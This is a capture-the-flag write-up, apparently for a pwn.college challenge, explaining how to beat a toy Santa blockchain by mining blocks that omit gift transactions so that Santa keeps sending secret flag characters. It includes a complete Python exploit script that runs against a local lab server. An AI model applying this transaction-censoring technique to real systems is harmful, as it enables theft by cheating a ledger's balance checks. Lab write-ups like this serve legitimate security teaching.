if SECRET_GIFT in letter["letter"]:
gift_value = FLAG_GIFT
To get the SECRET_GIFT value, we can write santa a letter in the form of secret index #<num>.
1
2
3
4
if not gift_value and (match := re.search(r"secret index #([0-9]+)", letter["letter"])):
index = int(match.group(1))
if 0 <= index < len(SECRET_GIFT):
gift_value = SECRET_GIFT[index]
The get_nice_balances function substracts 1 nice coin because the secret character is send back as a transaction.
1
2
3
4
5
6
7
if tx_type == "gift" and src == "santa":
balances[src] = balances.get(src, 0) + 1
balances[dst] = balances.get(dst, 0) - 1
elif tx_type == "transfer":
amount = tx.get("transfer", 0)
balances[src] = balances.get(src, 0) - amount
balances[dst] = balances.get(dst, 0) + amount
The challenge is that each secret costs and we can only earn 10 NiceCoin™s. If we have more than 10 this line blocks us.
1
2
if nice_counts[nice_person] > 10:
return jsonify({"error": "abuse of nice list detected"}), 400
Moreover Santa only reads letters from the blockchain which are older than 5 blocks. Other blocks will be ignored because REQUIRED_CONFIRMATION_DEPTH is 5.
1
2
3
4
5
6
7
# Collect letters Santa can trust (recent blocks are not yet sufficiently confirmed)
for block in chain[:-REQUIRED_CONFIRMATION_DEPTH]:
for tx in block["txs"]:
if tx["type"] == "letter" and tx["dst"] == "santa" and tx["letter"].startswith(LETTER_HEADER):
child = tx["src"]
letters.setdefault(child, {})
letters[child][tx["nonce"]] = tx
Approach
The solution to this problem is typical for a blockchain. Because we can compute blocks for the chain, we can simply don’t add the gift transactions to the blockchain. With that Santa will keep sending us gifts.
The last problem that could arise is that elfs will mine a coin while we are getting the secret. Fortunately, the 5 elves (jingle sparkle tinsel nog snowflake) each wait from 10 to 120 seconds between mining each coin. It is unlikely that one of them is pushing the transaction which will remove a coin from us right when Santa sent the first gift. After the second gift is send from Santa the elf algorithm will error out because it will generate a negative balance.
1
time.sleep(random.randint(10, 120))
Solving Script
The script takes about 1 minute to run, it first sends all the letters to Santa, then it extends the chain by 6 blocks (1 letter block and 5 conformation blocks). Now Santa will return the gift characters which we can collect, after getting all the characters we can send the secret and once again extend the chain. Finally we check the transaction pool for the flag.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
import hashlib
import json
import requests
import time
import uuid
from pathlib import Path
from cryptography.hazmat.primitives import serialization
from pwn import *
REQUIRED_CONFIRMATION_DEPTH = 5
DIFFICULTY = 16
DIFFICULTY_PREFIX = "0" * (DIFFICULTY // 4)
NORTH_POOLE = "http://localhost"
HACKER = "hacker"
LETTER_HEADER = "Dear Santa,\n\nFor christmas this year I would like "
context.log_level = "info"
key_path = Path("/challenge/keys") / HACKER / "key"
HACKER_KEY = serialization.load_ssh_private_key(key_path.read_bytes(), password=None)
def hash_block(block):
base_str = json.dumps(block, sort_keys=True, separators=(",", ":"))
nonce = 0
while True:
block["nonce"] = nonce
nonce_str = f'"nonce":{nonce}'
block_str = base_str.replace('"nonce":0', nonce_str)
block_hash = hashlib.sha256(block_str.encode()).hexdigest()
if block_hash.startswith(DIFFICULTY_PREFIX):
return block
nonce += 1
def get_block(hash=None):
params = {"hash": hash} if hash else {}
resp = requests.get(f"{NORTH_POOLE}/block", params=params)
resp.raise_for_status()
data = resp.json()
return data["block"], data["hash"]
def get_txpool_filtered(parent_hash, exclude_nonces=None):
exclude_nonces = exclude_nonces or set()
resp = requests.get(f"{NORTH_POOLE}/txpool")
resp.raise_for_status()
txs = resp.json()["txs"]
mined_nonces = set()
current_hash = parent_hash
while current_hash:
blk_resp = requests.get(f"{NORTH_POOLE}/block", params={"hash": current_hash})
if blk_resp.status_code != 200:
break
blk = blk_resp.json()["block"]
mined_nonces.update(tx.get("nonce") for tx in blk.get("txs", []))
current_hash = blk.get("prev_hash")
fresh_txs = [tx for tx in txs if tx.get("nonce") not in mined_nonces and tx.get("nonce") not in exclude_nonces]
return fresh_txs, resp.json()["hash"]
def mine_block(nice_person=None, exclude=None):
""" Mines a block and excludes all tx's which could result in a invalid block """
parent_block,parent_hash = get_block()
txs, _ = get_txpool_filtered(parent_hash, exclude)
resp = requests.get(f"{NORTH_POOLE}/balances", params={"hash": parent_hash})
if resp.status_code == 200:
balances = resp.json().get("balances", {})
valid_txs = []
for tx in txs:
if tx.get("type") == "transfer":
if balances.get(tx.get("src"), 0) >= tx.get("transfer", 0):
valid_txs.append(tx)
else:
valid_txs.append(tx)
txs = valid_txs
block = {
"index": parent_block["index"] + 1,
"prev_hash": parent_hash,
"nonce": 0,
"txs": txs,
"nice": nice_person,
}
mined_block = hash_block(block)
resp = requests.post(f"{NORTH_POOLE}/block", json=mined_block)
if resp.status_code != 200:
raise RuntimeError(f"Block rejected: {resp.text}")
def send_letter(content, dst="santa", src=HACKER):
""" Send a letter to a person """
try:
tx_nonce = str(uuid.uuid4())
tx = {
"src": src,
"dst": dst,
"type": "letter",
"letter": f"{LETTER_HEADER}{content}",
"nonce": tx_nonce,
}
msg = json.dumps(tx, sort_keys=True, separators=(",", ":"))
digest = hashlib.sha256(msg.encode()).digest()
tx["sig"] = HACKER_KEY.sign(digest).hex()
resp = requests.post(f"{NORTH_POOLE}/tx", json=tx)
if resp.status_code == 200:
return tx_nonce
else:
raise RuntimeError(f"Letter rejected: {resp.text}")
except Exception as e:
log.error(f"Failed to send letter: {e}")
return None, None
def wait_for_santa_gifts(nonces, timeout=180, poll_interval=2):
nonce_dict = {key: None for key in nonces}
start_time = time.time()
def all_nonces_received():
return all(nonce_dict[nonce] is not None for nonce in nonces)
def process_txs(txs):
for tx in txs:
if tx.get("src") != "santa":
continue
for idx, nonce in enumerate(nonces):
if nonce_dict[nonce] is not None:
continue
if tx.get("nonce") == f"{nonce}-gift":
gift = tx.get("gift")
nonce_dict[nonce] = gift
log.info(f"Character at index {idx}: {gift}")
while time.time() - start_time < timeout:
try:
txpool_resp = requests.get(f"{NORTH_POOLE}/txpool")
txpool_resp.raise_for_status()
process_txs(txpool_resp.json().get("txs", []))
if all_nonces_received():
return "".join(nonce_dict[nonce] for nonce in nonces)
head_resp = requests.get(f"{NORTH_POOLE}/block")
head_resp.raise_for_status()
current_hash = head_resp.json().get("hash")
for _ in range(20):
if not current_hash:
break
resp = requests.get(f"{NORTH_POOLE}/block", params={"hash": current_hash})
if resp.status_code != 200:
break
blk = resp.json().get("block", {})
process_txs(blk.get("txs", []))
if all_nonces_received():
return "".join(nonce_dict[nonce] for nonce in nonces)
current_hash = blk.get("prev_hash")
except Exception as e:
log.error(f"Failed to check Santa gift: {e}")
time.sleep(poll_interval)
log.error(f"No gift received after {timeout} seconds")
return None
def get_flag():
while True:
txpool_resp = requests.get(f"{NORTH_POOLE}/txpool").json()
txs = txpool_resp.get("txs", [])
count = 0
for tx in txs:
if "pwn.college" in str(tx):
log.success("===== FOUND FLAG =====")
log.success(tx["gift"])
exit()
time.sleep(0.1)
def get_exclusion_list():
exclude = set()
try:
txpool_resp = requests.get(f"{NORTH_POOLE}/txpool")
if txpool_resp.status_code == 200:
for tx in txpool_resp.json().get("txs", []):
if tx.get("type") == "gift" and tx.get("src") == "santa":
exclude.add(tx.get("nonce"))
log.debug(f"[EXCLUDE] Gift tx: {tx.get('nonce')[:8]}... (dst: {tx.get('dst')})")
except Exception as e:
log.warning(f"Could not scan txpool: {e}")
return exclude
def mine_n_blocks(n,exclude=None,nice_person=None):
i = 0
while i < n:
try:
mine_block(nice_person=None, exclude=exclude)
log.info(f"Extended block {i+1}/{n}")
i += 1
except RuntimeError as e:
log.info(f"Block rejected at {i+1}/{n}")
log.info("Refreshing exclusion list...")
exclude = get_exclusion_list()
return
def extract_secret_gift_chars():
nonces = []
start_time = time.time()
log.info("Scanning txpool for problematic transactions...")
exclude = get_exclusion_list()
for i in range(32):
letter_content = f"secret index #{i}"
nonce = send_letter(letter_content)
nonces.append(nonce)
log.info(f"Sent request for index {i}, nonce: {nonce}")
time.sleep(0.05)
log.info("Scanning txpool for problematic transactions...")
exclude = get_exclusion_list()
mine_n_blocks(5,exclude=exclude)
log.info(f"Waiting for Santa to process letter (needs {REQUIRED_CONFIRMATION_DEPTH} confirmations)...")
gifts = wait_for_santa_gifts(nonces, timeout=180)
if not gifts:
log.error(f"Timeout - no gift received")
log.success(f"Full gift string: '{gifts}'")
exclude.add(nonce)
exclude.add(f"{nonce}-gift")
nonce = send_letter(gifts)
log.info(f"Sent request for final flag, nonce: {nonce}")
mine_n_blocks(6,exclude=exclude)
char_elapsed = time.time() - start_time
log.info(f"Character extraction took {char_elapsed:.2f} seconds")
if __name__ == "__main__":
extract_secret_gift_chars()
get_flag()
Final Notes
MERRY CHRISTMAS
Further Days will be released after approx. 20. December 🏃♂️ - I don’t have time lol …….

